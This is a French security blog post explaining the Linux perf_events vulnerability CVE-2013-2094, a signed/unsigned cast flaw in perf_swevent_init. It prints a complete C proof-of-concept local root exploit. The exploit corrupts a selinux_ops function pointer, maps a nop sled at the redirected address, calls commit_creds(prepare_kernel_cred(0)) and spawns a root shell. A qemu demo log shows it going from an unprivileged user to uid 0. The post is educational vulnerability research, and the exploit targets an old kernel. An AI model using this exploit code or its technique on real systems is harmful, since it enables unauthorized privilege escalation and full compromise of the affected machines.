Exploit root perf_events (2013)


<< Exploiter l'inexploitable


Description de la vulnérabilité
   Il y a un peu plus d'un mois, nous avons été gratifiés d'une vulnérabilité sur l'appel système perf_events, CVE-2013-2094. Comme je n'ai pas vu d'article en français sur le sujet, c'est l'occasion de montrer ici une autre technique d'exploitation kernel.

Le sous-système perf events a été mergé dans le kernel 2.6.31 fin 2009 afin de permettre aux applications userspace d'avoir le feedback de données du noyau sur l'utilisation des ressources par les processus. Ici je vais travailler avec le noyau 3.8.8 qui est l'un des derniers non-patchés.

Ce sous-sytème de perf est accessible via l'appel système perf_event_open défini dans kernel/events/core.c. Comme on le voit, il a 5 paramètres : une structure perf_event_attr, ainsi que le pid, le cpu, le "groupe de perf" et un entier de flags. Comme on le voit dans l'appel système, il n'est pas réservé à un processus privilégié si attr->exclude_kernel vaut 1. Quelques lignes plus loin, un nouvel évenement de perf est alloué avec un appel à perf_event_alloc, auquel sont passés essentiellement tous les arguments de l'appel système. perf_event_alloc va allouer une structure perf_event et l'initialiser. On voit que le paramètre attr de l'appel système est recopié dans son champ attr. 90 lignes plus loin, on a un appel à perf_init_event, dont le rôle est d'attacher l'event à un PMU (Performance Monitoring Unit). En fait, le système enregistre au préalable (en appellant perf_pmu_register) des sortes de containers qui se chargent des différents types d'event (breakpoints, tracepoints, software, cpu, ...). Le rôle du idr_find est justement de trouver le bon pmu associé au type d'event demandé (via attr.type). Ensuite il appelle la méthode event_init du pmu en question.
Dans le cas d'un event software, la fonction event_init est donc perf_swevent_init qui reçoit en paramètre l'event créé plus tôt. Je recopie cette fonction ainsi que sa soeur qui nous intéressent :
    struct static_key perf_swevent_enabled[PERF_COUNT_SW_MAX];

    static void sw_perf_event_destroy(struct perf_event *event)
    {
      u64 event_id = event->attr.config;

      WARN_ON(event->parent);

      static_key_slow_dec(&perf_swevent_enabled[event_id]);
      swevent_hlist_put(event);
    }

    static int perf_swevent_init(struct perf_event *event)
    {
      int event_id = event->attr.config;

      if (event->attr.type != PERF_TYPE_SOFTWARE)
        return -ENOENT;

      /*
      * no branch sampling for software events
      */
      if (has_branch_stack(event))
        return -EOPNOTSUPP;

      switch (event_id) {
        case PERF_COUNT_SW_CPU_CLOCK:
        case PERF_COUNT_SW_TASK_CLOCK:
          return -ENOENT;

        default:
          break;
      }

      if (event_id >= PERF_COUNT_SW_MAX)
        return -ENOENT;

      if (!event->parent) {
        int err;

        err = swevent_hlist_get(event);
        if (err)
          return err;

        static_key_slow_inc(&perf_swevent_enabled[event_id]);
        event->destroy = sw_perf_event_destroy;
      }

      return 0;
    }
On voit donc que ces fonctions ont un but essentiel : prendre un id de compteur dans attr.config et incrémenter pour la création ou décrémenter pour la destruction perf_swevent_enabled[compteur], avec quelques vérifications de cohérence en plus pour la fonction d'initialisation. Ce qui frappe quand on voit ces deux fonctions, c'est qu'elles utilisent la même variable, event->attr.config, castée deux fois différemment (une fois en unsigned int 64 et l'autre en signed int 32).
En revenant sur la définition de perf_event_attr, on voit que config est bien censé être unsigned. Dans le cas de l'initialisation, ça veut dire qu'on peut avoir des nombres négatifs, qui passeront le check event_id < PERF_COUNT_SW_MAX sans soucis, et on peut donc incrémenter un entier qui se trouve entre perf_swevent_enabled[ -2147483648 / sizeof(struct static_key) ] et perf_swevent_enabled[ PERF_COUNT_SW_MAX - 1] (-2147483648 = 0x80000000 est le plus petit signed int). En réalité, sizeof(struct key) est égal à 4 par défaut et on a donc possibilité d'incrémenter n'importe quel dword dans cette région.

Exploitation
   Pour l'exploitation, je vais prendre une direction différente des exploits qui sont passés. Ils utilisent une autre feature du sous-système de perf qui est la possibilité de mmapper les résultats à une adresse donnée par l'utilisateur. Ca permet de déterminer l'adresse exacte de perf_swevent_enabled, puis d'effectuer une exploitation IDT classique comme montré dans l'article précédent sur les déréférencements de pointeurs nuls. L'exploit original par sd de fucksheep.org est ici (on voit au passage qu'il date de 2010...), et comme d'habitude, les exploits qui font le café et qui disablent tous les méchanismes de hardening possibles et imaginables par spender.

Moi je me place dans le cas où on a accès aux symboles du kernel : s'il y a un System.map dans /boot ou qu'on est sur un système qui utilise un kernel distribué en binaire et non compilé à la main. Dans la pratique ça couvre donc tout de même la grande majorité des systèmes. Comme perf_swevent_enabled est une variable globale non initialisée, elle va se trouver dans le BSS du kernel. Avec une latitude de 0x80000000 en dessous de son adresse, ça veut dire qu'on peut réécrire tout ce qu'il y a avant dans le BSS, ainsi que tout le segment data du kernel (data est RW contrairement à rodata). On se retrouve un peu dans le cas d'un overflow kmalloc, où on cherche une structure intéressante à réécrire, qui contienne un pointeur de fonction qu'on puisse facilement trigger depuis le userland. Dans le kernel les noms sont assez bien représentatifs de leur but. On va avoir notamment les callback, les ops ou les _func qui vont contenir des pointeurs de fonction. Ca fait combien de candidats ?
    $ grep perf_swevent_enabled System.map
    ffffffff81e28d80 B perf_swevent_enabled
    $ egrep " [BbdD] .*(callback|ops|_func).*" System.map | wc -l
    731
Ce qui en fait pas mal. J'ai vu dans l'un des sploits de spender qu'il utilisait ptmx_fops, moi je me suis dirigé vers security_ops. En fait, derrière quasiment tous les appels systèmes qu'on peut faire, il y a un check d'une couche de sécurité, qui est l'appel à une fonction d'une struct security_operations. Par exemple, si je prends le deuxième pointeur de fonction, ptrace_traceme, je retrouve bien son appel lors d'un appel système ptrace avec PTRACE_TRACEME via le wrapper security_ptrace_traceme. Les fonctions réelles qui se cachent derrière la structure pointée par security_ops dépendent de la configuration, il y a plusieurs possibilités :
    $ grep -R "struct security_operations.*=" ./security/
    ./security/apparmor/lsm.c:static struct security_operations apparmor_ops = {
    ./security/security.c:static struct security_operations default_security_ops = {
    ./security/tomoyo/tomoyo.c:static struct security_operations tomoyo_security_ops = {
    ./security/yama/yama_lsm.c:static struct security_operations yama_ops = {
    ./security/smack/smack_lsm.c:struct security_operations smack_ops = {
    ./security/selinux/hooks.c:static struct security_operations selinux_ops = {
    $ egrep " [BbdD] .*(security|selinux)_op" System.map
    ffffffff81c3e280 d default_security_ops
    ffffffff81c41d40 d selinux_ops
    ffffffff81e32d30 b security_ops
Actuellement, c'est implémenté par selinux par défaut, et on vérifie à chaque fois que les capabilities de l'appelant sont suffisantes pour faire l'action désirée sur l'objet noyau. L'idée va donc être simple : selinux_ops contient les security_ops de notre système, qui est donc essentiellement un ensemble de pointeurs de la forme 0xffffffff8XXXXXXX sous x86_64. Comme l'incrémentation dans perf_swevent_init a lieu sur un dword, on va calculer l'offset pour pointer vers le deuxième mot d'un de ces pointeurs (la partie 0xffffffff). Si on l'incrémente, elle passe à 0 et on a un pointeur 0x8XXXXXXX qui est mappable en userspace. On mappe une grande région autour de cette addresse qu'on remplit de nops, et à la fin on jump vers une fonction classique d'exploitation kernel, prepare_kernel_cred/commit_creds.
Pour que vous puissiez tester sans installer le bon kernel, j'ai fait une archive qemu qui permet de démarrer l'exploit que voici :
    /*
    * CVE-2013-2094 PoC
    *
    * x86_64 with symbols
    *
    * FrizN
    *
    */


    #include <stdio.h>
    #include <unistd.h>
    #include <sys/ptrace.h>
    #include <stdlib.h>
    #include <string.h>
    #include <syscall.h>
    #include <linux/perf_event.h>
    #include <sys/mman.h>

    /* Change those if symbols do not match */
    #define SELINUX_OPS 0xffffffff81c41d40L
    #define PERF_SWE_ENABLED 0xffffffff81e28d80L

    #define COMMIT_CREDS 0xffffffff81062c00L
    #define PREPARE_KCREDS 0xffffffff81062ec0L
    /* Nothing to change after this */


    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KCREDS;

    int __attribute__((regparm(3))) leetbbq() {
      commit_creds(prepare_kernel_cred(0));
      return 1;
    }

    int main() {
      /* mov rax, 0xdeadbeef0badf00d ; jmp rax */
      char jmpcode[] = "\x48\xB8\x0D\xF0\xAD\x0B\xEF\xBE\xAD\xDE\xFF\xE0";
      struct perf_event_attr attr;
      int i;

      memset(&attr, 0, sizeof(attr));
      attr.type = PERF_TYPE_SOFTWARE;
      attr.sample_type = 0; /* !has_branch_stack() */
      /* selinux_ops->ptrace_traceme @ offset 0x18, add 4 to inc the higher bytes of the pointer */
      attr.config = -(PERF_SWE_ENABLED - SELINUX_OPS - 0x18 - 4)/4;
      attr.exclude_kernel = 1;
      attr.size = sizeof(attr);

      if (syscall(SYS_perf_event_open, &attr, 0 /*pid*/, -1/*cpu*/, -1/*group_fd*/, 0/*flags*/) == -1) {
        perror("[-] perf_event_open failed (not vulnerable?)");
        exit(1);
      }
      printf("[+] perf_event OK\n");

      if (mmap((void*)0x81000000, 0x1000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0) == (void*)-1) {
        perror("[-] mmap failed");
        exit(1);
      }
      printf("[+] mmap ok\n");

      memset((char*)0x81000000, 0x90, 0x1000000);
      memcpy((char*)0x81000000 + 0x1000000 - sizeof(jmpcode), jmpcode, sizeof(jmpcode));
      *((long *)(0x81000000 + 0x1000000 - sizeof(jmpcode) + 2)) = (long)&leetbbq;

      ptrace(PTRACE_TRACEME, getpid(), 0, 0);

      if (!setresuid(0,0,0) && !setresgid(0,0,0)) {
        printf("[+] And boom goes the dynamite\n");
        execl("/bin/sh", "/bin/sh", NULL);
        perror("[-] execl");
        exit(1);
      }
      printf("[-] WTF! setuid failed\n");

      return 1;
    }
Le kernel qu'il y a dedans est directement le 3.8.8 de kernel.org, avec une config par défaut (make defconfig). Il y a le vmlinux et le System.map dans kernel-3.8.8/ si vous voulez reregarder les symboles. Après avoir unpack l'archive, normalement il suffit de cd perf_events-demo && ./start_sploit.sh (il faut bien être sur une x64, avec qemu et cpio d'installés) :
    $ ./start_sploit.sh
    3895 blocs
    [...]
    [ 3.454228] Switching to clocksource hpet
    / $ id
    uid=1000(user) gid=1000(user) groups=1000(user)
    / $ /home/user/sploit
    [+] perf_event OK
    [+] mmap ok
    [+] And boom goes the dynamite
    / # id
    uid=0(root) gid=0(root)
    / #
\o/


<< Exploiter l'inexploitable



2 Commentaires

FrizN 20/09/13 06:52
Comme c'est une petite archive avec busybox qui implémente tous les bins qu'il n'y a pas de bins, le sploit c'est simplement un binaire x64 compilé en statique.

Donc si tu veux en ajouter d'autres, il suffit de les mettre dans fs/ où tu veux, mais soit ils doivent être statiques, soit il faut créer le répertoire lib et ajouter les libs explicitement.

crasher 19/09/13 15:39
merci pour cet excellent article , je voudrais savoir comment tu as porté le binaire sploit a la machine qemu, je voudrais faire le meme cas pour porter le gcc, bintuils ... etc .
merci




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.